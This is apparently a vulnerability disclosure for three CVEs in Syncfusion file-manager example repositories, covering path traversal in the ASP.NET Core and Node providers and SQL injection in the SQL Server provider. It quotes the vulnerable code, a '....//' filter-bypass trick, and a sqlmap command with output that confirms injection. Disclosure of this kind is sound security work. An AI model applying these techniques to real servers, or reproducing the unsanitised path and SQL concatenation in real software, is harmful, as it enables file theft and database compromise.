CVE-2023-26563 - Local File Read in ASPCore Filemanager

Affected repository: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Vulnerable versions before Git commit 7c8791084ff86d4a2c225756c490591f6e011a6c

The application fails to verify any of the paths provided by the user. As a result, it's possible to specify directory traversal sequences ("../") to list files in any directory, read any local file, upload any file to anywhere on the server and delete any file on the server.

In the ASP core repository, most of the actual functionality is implemented in Models/PhysicalFileProvider.cs.

In the case of downloading, the names parameter is taken directly from the user's input in the request.

        public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
        {
            try
            {
                string physicalPath = GetPath(path);
                String extension;
                int count = 0;
                ...
                if (names.Length > 1)
                    DownloadZip(path, names);

                if (count == names.Length)
                {
                    DownloadFile(path, names);
                }

This path is then directly used within the Path.combine function.

protected virtual void DownloadFile(string path, string[] names = null)
{

    if (!string.IsNullOrEmpty(path))
    {
        try
        {
            path = (Path.Combine(contentRootPath + path, names[0]));
            HttpResponse response = HttpContext.Current.Response;
            response.Buffer = true;
            response.Clear();
            response.ContentType = "APPLICATION/octet-stream";
            string extension = System.IO.Path.GetExtension(path);
            response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
            response.WriteFile(path);
            response.Flush();
            response.End();
        }
        catch (Exception ex) { throw ex; }
    }
    else throw new ArgumentNullException("name should not be null");

}

In most of the endpoints, they attempted to fix this with removing ../ but this can be trivially bypassed using something like ....//, which after .replace("../", ""), will result in the original ../.

CVE-2023-26564 - Local File Read in EJ2 Node Filemanager

Affected repository: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Vulnerable versions before Git commit 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6

While the application does contain a regex to block directory traversal sequences, it does this only sometimes. As a result:

• On Windows, it's possible to list files in any directory, read any local file, upload any file to anywhere on the server and delete any file on the server.
• On Linux, it is not possible to list files within a directory. However, as it is possible to download directories (which are then served as ZIP), it is possible for a user to download directories to list other files.

In the node repository, all functionality is offered within a single file: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js

For downloading files, the root cause is fairly self explanatory, with the application trusting the user's input when concatenating the file paths together:

/**
 * Download a file or folder
 */
app.post('/Download', function (req, res) {
    replaceRequestParams(req, res);
    var downloadObj = JSON.parse(req.body.downloadInput);
    var permission; var permissionDenied = false;
    downloadObj.data.forEach(function (item) {
        var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
        permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
        if (permission != null && (!permission.read || !permission.download)) {
            permissionDenied = true;
            var errorMsg = new Error();
            errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
            errorMsg.code = "401";
            response = { error: errorMsg };
            response = JSON.stringify(response);
            res.setHeader('Content-Type', 'application/json');
            res.json(response);
        }
    });
    if (!permissionDenied) {
        if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
            var file = contentRootPath + downloadObj.path + downloadObj.names[0];
            res.download(file);
        } else {
            var archive = archiver('zip', {
                gzip: true,
                zlib: { level: 9 } // Sets the compression level.
            });
            var output = fs.createWriteStream('./Files.zip');
            downloadObj.data.forEach(function (item) {
                archive.on('error', function (err) {
                    throw err;
                });
                if (item.isFile) {
                    archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
                }
                else {
                    archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
                }
            });

CVE-2023-26565 - SQL Injection in SQL Server Database File Provider

Affected repository: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Vulnerable versions before Git commit d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6

In the SQL server repository, most of the actual functionality is implemented in Models/SQLFileProvider.cs.

The SQL injection is fairly standard and frequent within the affected repository and can be exploited with a simple sqlmap command:

sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:31:52 /2023-04-03/

[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)

Examples of vulnerable code snippets:

try
{
    SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}

try
{
    SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}

SQL injection results in full read access to the database with regards to however permissions are configured for the user account.